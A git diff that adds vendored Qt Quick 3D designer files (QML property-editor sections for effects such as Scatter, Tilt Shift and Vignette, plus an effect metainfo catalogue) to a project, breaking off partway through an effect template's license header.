b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSpecifics.qml new file mode 100644 index 00000000..2746f1b8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/MotionBlurSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + MotionBlurSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSection.qml new file mode 100644 index 00000000..044ada8b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSection.qml @@ -0,0 +1,186 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Curve") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Shoulder Slope") + tooltip: qsTr("Set the slope of the curve shoulder.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 3 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.shoulderSlope + Layout.fillWidth: true + } + } + Label { + text: qsTr("Shoulder Emphasis") + tooltip: qsTr("Set the emphasis of the curve shoulder.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.shoulderEmphasis + Layout.fillWidth: true + } + } + Label { + text: qsTr("Toe Slope") + tooltip: qsTr("Set the slope of the curve toe.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 3 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.toeSlope + Layout.fillWidth: true + } + } + Label { + text: qsTr("Toe Emphasis") + tooltip: qsTr("Set the emphasis of the curve toe.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.toeEmphasis + Layout.fillWidth: true + } + } + } + } + Section { + caption: qsTr("Color") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Contrast Boost") + tooltip: qsTr("Set the contrast boost amount.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: -1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.contrastBoost + Layout.fillWidth: true + } + } + Label { + text: qsTr("Saturation Level") + tooltip: qsTr("Set the color saturation level.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.saturationLevel + Layout.fillWidth: true + } + } + Label { + text: qsTr("Gamma") + tooltip: qsTr("Set the gamma value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 8 + minimumValue: 0.1 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.gammaValue + Layout.fillWidth: true + } + } + Label { + text: qsTr("Use Exposure") + tooltip: qsTr("Specifies if the exposure or white point should be used.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.useExposure.valueToString + backendValue: backendValues.useExposure + Layout.fillWidth: true + } + } + Label { + text: qsTr("White Point") + tooltip: qsTr("Set the white point value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 128 + minimumValue: 0.01 + decimals: 2 + backendValue: backendValues.whitePoint + Layout.fillWidth: true + } + } + Label { + text: qsTr("Exposure") + tooltip: qsTr("Set the exposure value.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 16 + minimumValue: 0.01 + decimals: 2 + backendValue: backendValues.exposureValue + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSpecifics.qml new file mode 100644 index 00000000..ab56628d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/SCurveTonemapSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + SCurveTonemapSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSection.qml new file mode 100644 index 00000000..acb59a55 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSection.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Noise") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Noise Sample Texture") + tooltip: qsTr("Defines a texture for noise samples.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.noiseSample_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Scatter") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Amount of scatter.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 127 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Direction") + tooltip: qsTr("Direction of scatter. 0 = both, 1 = horizontal, 2 = vertical.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.direction + Layout.fillWidth: true + } + } + Label { + text: qsTr("Randomize") + tooltip: qsTr("Specifies if the scatter is random.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.randomize.valueToString + backendValue: backendValues.randomize + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSpecifics.qml new file mode 100644 index 00000000..df84649f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/ScatterSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ScatterSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSection.qml new file mode 100644 index 00000000..ccc6ac56 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSection.qml @@ -0,0 +1,107 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Tilt Shift") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Focus Position") + tooltip: qsTr("Set the focus position.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.focusPosition + Layout.fillWidth: true + } + } + Label { + text: qsTr("Focus Width") + tooltip: qsTr("Set the focus width.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.focusWidth + Layout.fillWidth: true + } + } + Label { + text: qsTr("Blur Amount") + tooltip: qsTr("Set the blur amount.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.blurAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Vertical") + tooltip: qsTr("Specifies if the tilt shift is vertical.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.isVertical.valueToString + backendValue: backendValues.isVertical + Layout.fillWidth: true + } + } + Label { + text: qsTr("Inverted") + tooltip: qsTr("Specifies if the tilt shift is inverted.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.isInverted.valueToString + backendValue: backendValues.isInverted + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSpecifics.qml new file mode 100644 index 00000000..014fe65d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/TiltShiftSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + TiltShiftSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSection.qml new file mode 100644 index 00000000..49e8629d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSection.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Vignette") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Strength") + tooltip: qsTr("Set the vignette strength.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 15 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.vignetteStrength + Layout.fillWidth: true + } + } + Label { + text: qsTr("Radius") + tooltip: qsTr("Set the vignette radius.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.vignetteRadius + Layout.fillWidth: true + } + } + } + } + + Section { + caption: qsTr("Color") + width: parent.width + ColorEditor { + caption: qsTr("Vignette Color") + backendValue: backendValues.vignetteColor + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSpecifics.qml new file mode 100644 index 00000000..022cee3f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/VignetteSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + VignetteSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/effectlib.metainfo b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/effectlib.metainfo new file mode 100644 index 00000000..91224b3a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/effectlib.metainfo @@ -0,0 +1,420 @@ +MetaInfo { + Type { + name: "QtQuick3D.Effects.AdditiveColorGradient" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Additive Color Gradient" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Blur" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Blur" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.BrushStrokes" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Brush Strokes" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.ChromaticAberration" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Chromatic Aberration" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.ColorMaster" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Color Master" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.DepthOfFieldHQBlur" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Depth of Field HQ Blur" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Desaturate" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Desaturate" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.DistortionRipple" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Distortion Ripple" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.DistortionSphere" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Distortion Sphere" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.DistortionSpiral" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Distortion Spiral" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.EdgeDetect" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Edge Detect" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Emboss" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Emboss" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Flip" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Flip" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Fxaa" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Fxaa" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.GaussianBlur" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Gaussian Blur" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.HDRBloomTonemap" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "HDR Bloom Tonemap" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.MotionBlur" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Motion Blur" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Scatter" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Scatter" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.SCurveTonemap" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "SCurve Tonemap" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.TiltShift" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Tilt Shift" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Vignette" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + canBeDroppedInView3D: false + } + + ItemLibraryEntry { + name: "Vignette" + category: "Qt Quick 3D Effects" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + } + } + Type { + name: "QtQuick3D.Effects.Effect" + icon: "images/effect16.png" + + Hints { + visibleInNavigator: true + canBeDroppedInNavigator: true + canBeDroppedInFormEditor: false + } + + ItemLibraryEntry { + name: "Effect" + category: "Qt Quick 3D Custom Shader Utils" + libraryIcon: "images/effect.png" + version: "1.15" + requiredImport: "QtQuick3D.Effects" + QmlSource { source: "./source/effect_template.qml" } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect.png new file mode 100644 index 00000000..8f9f2880 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect16.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect16.png new file mode 100644 index 00000000..93fbc032 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect16.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect@2x.png new file mode 100644 index 00000000..204f50ec Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/images/effect@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/source/effect_template.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/source/effect_template.qml new file mode 100644 index 00000000..501c9162 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Effects/designer/source/effect_template.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** 